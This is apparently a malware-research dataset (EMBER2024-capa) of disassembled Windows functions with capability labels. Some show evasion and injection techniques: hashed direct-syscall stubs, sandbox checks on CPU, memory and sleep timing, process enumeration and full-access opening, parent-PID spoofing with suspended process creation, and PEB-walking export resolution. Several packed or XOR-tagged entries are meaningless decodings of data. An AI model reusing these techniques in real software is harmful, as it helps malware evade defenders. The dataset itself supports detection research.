joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14097f06b
Capabilities:
Encode data using xor

Disassembly:
invalid
out 0x54, eax
int3
imul ebx, dword [rax - 0x238469a3], 0xffffffe5
mov rdi, qword [rax]
jnp 0x14097eff2
in eax, 0x4a
mov edi, dword [rax]
cmp eax, 0x9d64838a
push 0xffffffffffffffa3
jl 0x14097f010
push rdx
invalid
sbb eax, 0x966d667d
push rdx
add al, byte [rcx]
sbb cl, cl
jb 0x14097efee
pop rsi
out 0x66, al
out dx, al
mov edx, 0x11710929
mov edx, 0x2db61e5d
push rbp
push rdx
jb 0x14097f0ae
and dword [rcx - 0x1f], ecx
test dword [rsi - 0x34], esp
call fcn.14087b765
mov rdi, qword [rsp + 8]
mov rdi, qword [rdi]
add r8, 0xffffffffc999c1aa
jl fcn.1409a2b11
jne 0x140877361
or bl, bl
jle 0x14097f014
fstp xword [rsi - 0x7b]
js 0x14097f08c
scasb al, byte [rdi]
movabs r8, 0x58018667a839e67f
sar esi, cl
xor eax, 0x59d627d8
js 0x14097f044
movsw word [rdi], word [rsi]
xor byte [rbx + 0x4ff85186], al
in eax, dx
in eax, dx
and byte [rbx + 0x5cc86d34], bh
invalid

Function at 0x14098cd40
Capabilities:
Packed with generic packer

Disassembly:
shl dword [rsp + r14*2 - 0x54fe0], 0x7e
call fcn.140885362
mov rax, qword [rsp + 0x20]
mov rax, qword [rax + r14*2 - 0x55000]
mov qword [rsp + r14 - 0x2a7e0], r14
jne 0x140881958

Function at 0x14098cd5b
Capabilities:
Packed with generic packer

Disassembly:
push r11
movabs r11, 0x648252aa7e99d093
setae r11b
or r11d, r14d
add qword [rsp + 0x38], 0x8addb
test r14b, 0xb8
ja 0x14091a77f
not r10w
lea rax, [rax + r10 - 0x2537f8b1]
sub r10w, r10w
not r10w
shr r10d, 0x84
and r10w, 0x5b1c
call fcn.14091872b

Function at 0x14098cdb3
Capabilities:
Packed with generic packer

Disassembly:
and r14, r13
test r13d, 0xfa91073e
lea r13, [r14 + r13 + 0x6b350c2d]
je fcn.140941141
call fcn.14087e1f8

Function at 0x1409975ac
Capabilities:
Encode data using xor

Disassembly:
jle 0x14090b6e0
movabs rsi, 0x1e1ba52c9b267087
shl sil, 0xb9
xor rsi, 0x75b2280b
call fcn.140880b7a
clc
int1
or dh, bh
jns 0x1409975b2
out 0x64, eax
xor edx, eax
invalid

Function at 0x14099e405
Capabilities:
Packed with generic packer

Disassembly:
movabs r9, 0x682582a8d6abf38f
push r15
xchg qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x40]
xor word [rsp + 0x28], 0x6907
add r10d, r9d
movsx ebx, byte [rsp + 0x2b]
test byte [rsp + rsi - 0xbdcb], r10b
jo 0x14088c9d8
mov r10, qword [rsp + 0x20]
jl 0x1408ebe7a
call fcn.140880b20

Function at 0x1409a4bb1
Capabilities:
Encode data using xor

Disassembly:
movzx r8, byte [rsp + r10 + 0x5966b230]

Function at 0x1409aa247
Capabilities:
Encode data using xor

Disassembly:
lea rbp, [rbp - 0x53e812de]
not r10
jo 0x140909ad1
sub r10w, 0xb325
shr r11w, 0x62
je fcn.14088b677
push rsi
xchg qword [rsp + 0x30], rbp
mov r11, qword [rsp + 0x10]
call fcn.14087fdbe
lea rcx, [rcx - 0x3b47f3d0]
and r14, r9
lea r9, [rbp*2 + 0x7c02c7bf]
add r14w, bp
add byte [rsp + 0x10], 0xad
shl r14w, 0xdd
xchg qword [rsp + 0x40], rcx
mov r12, qword [rsp + 0x20]
mov r9d, 0xb6867e9c
test ebp, r14d
jo 0x140973931
call fcn.14094770f
pushfq
call fcn.140891af7
sbb bl, cl
or al, 0xb3
mov al, 0xd1
add eax, 0x8ce6b190
mov ebp, 0xce36c2bc
and eax, 0x3c215229
adc dword [rcx], ecx
invalid
Function at 0x1413cb00d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
rol r10b, 0x3c
movzx ebx, ax
xor edi, edi
mov r9b, r9b
inc r10w
not r10w
movzx ebx, r8b
jmp 0x1413cb038
mov r11, rcx
cmove r10w, bp
xchg r10w, r9w
inc r10b
mov r8, rdi
movsx r9d, bp
movzx r10, r11w
jmp 0x1413cb057
nop
movzx r9w, dil
movzx r9d, byte [r11]
mov r10, r12
movzx r10d, byte [rdx]
jmp 0x1413cb06d
inc r11
jmp 0x1413cb075
inc rdx
cmc
clc
stc
test bl, bl
je 0x1413cb0a8
mov ecx, r8d
mov eax, 0x4e01bb01
cmc
stc
rol eax, cl
test r14b, r9b
cmp r9b, r8b
cmc
add al, r8b
xor r9b, al
jmp 0x1413cb0a1
inc r8
cmp r13, rbp
cmc
test r9b, r9b
jmp 0x1413cb0b0
je 0x1413cb0c4
cmp r9b, r10b
jmp 0x1413cb0be
je 0x1413cb05d
cmp r9b, r10b
jmp 0x1413cb0cc
jae 0x1413cb0f6
or eax, 0xffffffff
xchg bl, dil
movzx di, r13b
not dil
mov rbx, qword [rsp + 8]
movzx edi, r15w
movsxd rdi, edi
mov di, 0xb605
mov rdi, qword [rsp + 0x10]
ret
mov rbx, qword [rsp + 8]
seta dil
movsx ax, r13b
lahf
mov eax, edi
movzx rdi, ax
movsx rdi, dx
mov rdi, qword [rsp + 0x10]
jmp 0x1413cb119
ret
Function at 0x140001a9c
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x185170b
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001add
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x118e2d29
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001b5f
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0xc5de509
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001ba0
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x5982402c
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001be1
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x597110b
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001ca4
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x26ae640f
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001ce5
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x160254a7
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret

Function at 0x140001da8
Capabilities:
Execute syscall

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov ecx, 0x6902425
call fcn.1400019b8
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
nop
syscall
ret
Function at 0x140001ecb
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x140001efd
mov eax, 1
jmp 0x140001fb7
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rdx, qword [rbp - 0x28]
mov eax, 0x80000000
cmp rdx, rax
jae 0x140001f2c
mov eax, 1
jmp 0x140001fb7
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.140001dea
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x5a]
mov rdx, qword [rbp + 0x62]
mov qword [rbp - 0x56], rax
mov qword [rbp - 0x4e], rdx
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.140018b60
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call fcn.140001da8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x140001fb2
mov eax, 1
jmp 0x140001fb7
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x140002128
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x120], 0
mov dword [rbp - 0x10], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x128], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x1400022b8
jmp 0x140002297
mov rax, qword [rbp + 0x140]
lea rdx, [rbp - 0x10]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x140002297
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov ecx, eax
lea rax, [rbp - 0x14]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.140002007
mov edx, eax
mov eax, dword [rbp - 0x14]
cmp edx, eax
sete al
test al, al
je 0x140002297
mov qword [rbp - 0x28], 0
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.140001584
mov qword [rbp - 0x30], rax
mov dword [rbp - 0x60], 0x30
mov qword [rbp - 0x58], 0
mov dword [rbp - 0x48], 0
mov qword [rbp - 0x50], 0
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rcx, [rbp - 0x30]
lea rdx, [rbp - 0x60]
lea rax, [rbp + 0x120]
mov r9, rcx
mov r8, rdx
mov edx, 0x1fffff
mov rcx, rax
call fcn.140001ba0
mov rax, qword [rbp + 0x120]
test rax, rax
je 0x14000227f
mov rax, qword [rbp + 0x120]
cmp rax, 0xffffffffffffffff
je 0x14000227f
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.140001b5f
mov rax, qword [rbp + 0x120]
jmp 0x1400022ce
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.140001b5f
mov rax, 0xffffffffffffffff
jmp 0x1400022ce
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
jne 0x14000218d
mov rax, qword [rbp + 0x128]
mov rcx, rax
call fcn.140001b5f
mov rax, 0xffffffffffffffff
add rsp, 0x1b0
pop rbp
ret
Function at 0x1400022d7
Capabilities:
Create process on windows
Create process suspended
Protect spawned processes with mitigation policies
Spoof parent pid

Disassembly:
push rbp
push rdi
push rbx
sub rsp, 0xd0
lea rbp, [rsp + 0xd0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
lea rdx, [rbp - 0x70]
mov eax, 0
mov ecx, 0xe
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [rbp + 0x20]
pxor xmm0, xmm0
movups xmmword [rax], xmm0
movq qword [rax + 0x10], xmm0
lea rax, [rbp - 0x78]
mov r9, rax
mov r8d, 0
mov edx, 2
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
mov rbx, qword [rbp - 0x78]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x78]
mov r9, rdx
mov r8d, 0
mov edx, 2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
call rax
movabs rax, 0x100000000000
mov qword [rbp - 0x80], rax
mov rax, qword [rbp - 8]
lea rdx, [rbp - 0x80]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20007
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov rax, qword [rbp - 8]
lea rdx, [rbp + 0x30]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 8
mov r9, rdx
mov r8d, 0x20000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call rax
mov dword [rbp - 0x70], 0x70
mov dword [rbp - 0x34], 0x80001
mov word [rbp - 0x30], 0
mov rax, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x20]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x808000c
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
call rax
nop
mov rax, qword [rbp + 0x20]
add rsp, 0xd0
pop rbx
pop rdi
pop rbp
ret

Function at 0x14000dc70
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140018150
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140018150
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x14000dce0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400e90c4]
mov rbx, rcx
test esi, esi
jle 0x14000de10
mov rax, qword [0x1400e90c8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000dd2b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14000ddb5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14000dd10
mov rcx, rbx
call fcn.14000e730
mov rdi, rax
test rax, rax
je 0x14000de32
mov rax, qword [0x1400e90c8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14000e870
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400e90c8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000de17
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000ddae
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000ddc0
add dword [0x1400e90c4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400e90c8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000ddae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14000dc70
nop dword [rax]
xor esi, esi
jmp 0x14000dd38
mov rax, qword [0x1400e90c8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14000dc70
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14000dc70
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x14000e3a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400e9120]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400e9100]
test rbx, rbx
je 0x14000e3fc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x14000e3f3
test rsi, rsi
je 0x14000e3f3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000e3d8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x14000e730
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400c3660]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14000e750
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14000e758
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14000e750
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000e7ad
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000e7a4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000e750
add rax, 0x28
cmp rax, r9
jne 0x14000e790
xor eax, eax
ret

Function at 0x14000e7b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c3660]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000e7cf
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14000e7d8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000e7cf
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14000e870
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400c3660]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000e88f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14000e898
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x14007c250
Capabilities:
Read file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov r12, qword [sym.imp.msvcrt.dll__errno]
mov rdi, rcx
mov rsi, rdx
mov ebx, r8d
mov rcx, qword [rdi]
call sub.msvcrt.dll__fileno_1
mov ecx, eax
mov r8d, ebx
mov rdx, rsi
call sub.msvcrt.dll__read
movsxd rbp, eax
cmp eax, 0xffffffff
je 0x14007c298
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
call r12
cmp dword [rax], 4
je 0x14007c26a
mov rax, rbp
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret

Function at 0x1400b6b20
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400bc1c0]
jmp 0x14000f580

Function at 0x1400b6b30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
lea rcx, [0x1400bc1c0]
jmp 0x14000f580
Function at 0x180003800
Capabilities:
Read file on windows

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
test r8, r8
jle 0x180003835
mov rsi, r8
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0x68], 0
je 0x18000383c
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
jmp method.std::basic_streambuf_char__struct_std::char_traits_char__.virtual_64
xor esi, esi
jmp 0x18000391d
mov qword [rsp + 0x28], rsi
mov rcx, rbx
call fcn.180004180
mov qword [rsp + 0x30], rax
test rax, rax
je 0x18000388e
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x30]
call fcn.1800017d0
mov r14, qword [rax]
mov rcx, rbx
call fcn.1800041b0
mov rcx, rdi
mov rdx, rax
mov r8, r14
call fcn.1800041a0
add rdi, r14
sub qword [rsp + 0x28], r14
mov rcx, rbx
mov edx, r14d
call fcn.1800041c0
cmp qword [rbx + 0x80], 0
je 0x1800038ed
mov rcx, rbx
call fcn.1800030e0
mov r8, qword [rsp + 0x28]
nop word cs:[rax + rax]
nop
cmp r8, 0x1000
jb 0x1800038f4
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rdi
call fcn.180081a24
add rdi, rax
mov r8, qword [rsp + 0x28]
sub r8, rax
mov qword [rsp + 0x28], r8
cmp rax, 0xfff
je 0x1800038b0
jmp 0x18000391a
mov r8, qword [rsp + 0x28]
jmp 0x18000391a
test r8, r8
je 0x180003917
mov r9, qword [rbx + 0x80]
mov edx, 1
mov rcx, rdi
call fcn.180081a24
mov r8, qword [rsp + 0x28]
sub r8, rax
jmp 0x18000391a
xor r8d, r8d
sub rsi, r8
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x30
mov r15, r8
mov rdi, r8
test r8, r8
jle 0x180004030
mov r13, rdx
mov rbx, rcx
lea r14, [rsp + 0x28]
lea r12, [rsp + 0x2c]
mov rdi, r15
jmp 0x180003fe5
mov rsi, rax
cmp rdi, rax
cmovl rsi, rdi
mov rcx, rbx
call fcn.1800041b0
mov rcx, r13
mov rdx, rax
mov r8, rsi
call fcn.1800041a0
add r13, rsi
sub rdi, rsi
mov rcx, rbx
mov edx, esi
call fcn.1800041c0
test rdi, rdi
jle 0x180004030
mov rcx, rbx
call fcn.180004180
test rax, rax
jg 0x180003fb0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
mov dword [rsp + 0x2c], eax
call fcn.180003dd0
mov dword [rsp + 0x28], eax
mov rcx, r14
mov rdx, r12
call fcn.180003dc0
test al, al
jne 0x180004030
mov rcx, r12
call fcn.1800041e0
mov byte [r13], al
add r13, 1
add rdi, 0xffffffffffffffff
test rdi, rdi
jg 0x180003fe5
sub r15, rdi
mov rax, r15
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x1800071a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
call fcn.1800012e0
cmp qword [rax], 0
je 0x180007298
mov rcx, rsi
call fcn.1800012e0
mov rsi, qword [0x1801d4c50]
test rsi, rsi
jne 0x18000728b
mov rcx, qword gs:[0x60]
mov r8, qword [rcx + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov r11, qword [r8 + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r10d, dword [r11 + rcx + 0x88]
test r10, r10
je 0x1800071f0
mov esi, dword [r11 + r10 + 0x18]
lea r9, [r11 + 1]
jmp 0x18000722d
mov ecx, 0x812b7bc7
cmp ecx, 0xd57d187b
je 0x180007268
sub rsi, 1
jb 0x1800071f0
mov ecx, dword [r11 + r10 + 0x20]
add rcx, r11
mov edx, dword [rcx + rsi*4]
mov bl, byte [r11 + rdx]
test bl, bl
je 0x180007220
add rdx, r9
mov ecx, 0x812b7bc7
nop
movsx edi, bl
xor edi, ecx
imul ecx, edi, 0x1035edd
movzx ebx, byte [rdx]
add rdx, 1
test bl, bl
jne 0x180007250
jmp 0x180007225
mov ecx, dword [r11 + r10 + 0x1c]
mov edx, dword [r11 + r10 + 0x24]
add rcx, r11
add rdx, r11
mov ebx, esi
movzx edx, word [rdx + rbx*2]
mov esi, dword [rcx + rdx*4]
add rsi, r11
mov qword [0x1801d4c50], rsi
mov rcx, rax
call fcn.1800012e0
mov rcx, qword [rax]
call rsi
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
jmp 0x1800071a0

Function at 0x180007a40
Capabilities:
Access peb ldr_data
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
call fcn.1800012e0
cmp qword [rax], 0
je 0x180007298
mov rcx, rsi
call fcn.1800012e0
mov rsi, qword [0x1801d4c50]
test rsi, rsi
jne 0x18000728b
mov rcx, qword gs:[0x60]
mov r8, qword [rcx + 0x18]
add r8, 0x10
mov r8, qword [r8]
mov r11, qword [r8 + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov r10d, dword [r11 + rcx + 0x88]
test r10, r10
je 0x1800071f0
mov esi, dword [r11 + r10 + 0x18]
lea r9, [r11 + 1]
jmp 0x18000722d
mov ecx, 0x812b7bc7
cmp ecx, 0xd57d187b
je 0x180007268
sub rsi, 1
jb 0x1800071f0
mov ecx, dword [r11 + r10 + 0x20]
add rcx, r11
mov edx, dword [rcx + rsi*4]
mov bl, byte [r11 + rdx]
test bl, bl
je 0x180007220
add rdx, r9
mov ecx, 0x812b7bc7
nop
movsx edi, bl
xor edi, ecx
imul ecx, edi, 0x1035edd
movzx ebx, byte [rdx]
add rdx, 1
test bl, bl
jne 0x180007250
jmp 0x180007225
mov ecx, dword [r11 + r10 + 0x1c]
mov edx, dword [r11 + r10 + 0x24]
add rcx, r11
add rdx, r11
mov ebx, esi
movzx edx, word [rdx + rbx*2]
mov esi, dword [rcx + rdx*4]
add rsi, r11
mov qword [0x1801d4c50], rsi
mov rcx, rax
call fcn.1800012e0
mov rcx, qword [rax]
call rsi
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
jmp 0x1800071a0

Function at 0x180007e90
Capabilities:
Execute syscall

Disassembly:
mov eax, dword [rcx]
mov r10, rdx
sub rsp, 0x28
syscall
add rsp, 0x28
ret

Function at 0x180009bc0
Capabilities:
Execute syscall

Disassembly:
mov r11d, r9d
mov r9, qword [rsp + 0x28]
mov eax, dword [rcx]
mov r10d, edx
mov rdx, r8
mov r8d, r11d
sub rsp, 0x28
syscall
add rsp, 0x28
ret